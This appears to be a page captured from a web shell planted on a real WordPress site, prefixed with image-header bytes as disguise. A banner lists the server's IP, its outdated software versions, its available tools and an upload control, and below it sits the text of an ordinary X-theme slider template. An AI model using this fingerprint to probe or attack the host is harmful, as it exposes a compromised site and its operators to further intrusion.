????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.217.109 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/wp-content/themes/x/framework/views/global/ |
Upload File : |
<?php
// =============================================================================
// VIEWS/GLOBAL/_SLIDER-ABOVE.PHP
// -----------------------------------------------------------------------------
// Slider output above all page content.
// =============================================================================
if ( X_REVOLUTION_SLIDER_IS_ACTIVE || X_LAYERSLIDER_IS_ACTIVE ) :
$id = x_get_the_ID();
$slider_active = get_post_meta( $id, '_x_slider_above', true );
$slider = ( $slider_active == '' ) ? 'Deactivated' : $slider_active;
if ( $slider != 'Deactivated' ) :
$bg_video = get_post_meta( $id, '_x_slider_above_bg_video', true );
$bg_video_poster = get_post_meta( $id, '_x_slider_above_bg_video_poster', true );
$anchor = get_post_meta( $id, '_x_slider_above_scroll_bottom_anchor_enable', true );
$anchor_alignment = get_post_meta( $id, '_x_slider_above_scroll_bottom_anchor_alignment', true );
$anchor_color = get_post_meta( $id, '_x_slider_above_scroll_bottom_anchor_color', true );
$anchor_color_hover = get_post_meta( $id, '_x_slider_above_scroll_bottom_anchor_color_hover', true );
?>
<div class="x-slider-container above<?php if ( $bg_video != '' ) { echo ' bg-video'; } ?>">
<?php if ( $bg_video != '' ) : echo function_exists( 'cs_bg_video' ) ? cs_bg_video( $bg_video, $bg_video_poster ) : ''; endif; ?>
<?php if ( $anchor == 'on' ) : ?>
<style scoped>
.x-slider-scroll-bottom.above { color: <?php echo $anchor_color; ?>; }
.x-slider-scroll-bottom.above:hover { color: <?php echo $anchor_color_hover; ?>; }
</style>
<a href="#" class="x-slider-scroll-bottom above <?php echo $anchor_alignment; ?>">
<i class="x-icon-angle-down" data-x-icon="" aria-hidden="true"></i>
</a>
<?php endif; ?>
<?php echo do_shortcode( x_get_slider_shortcode( $slider ) ); ?>
</div>
<?php endif;
endif;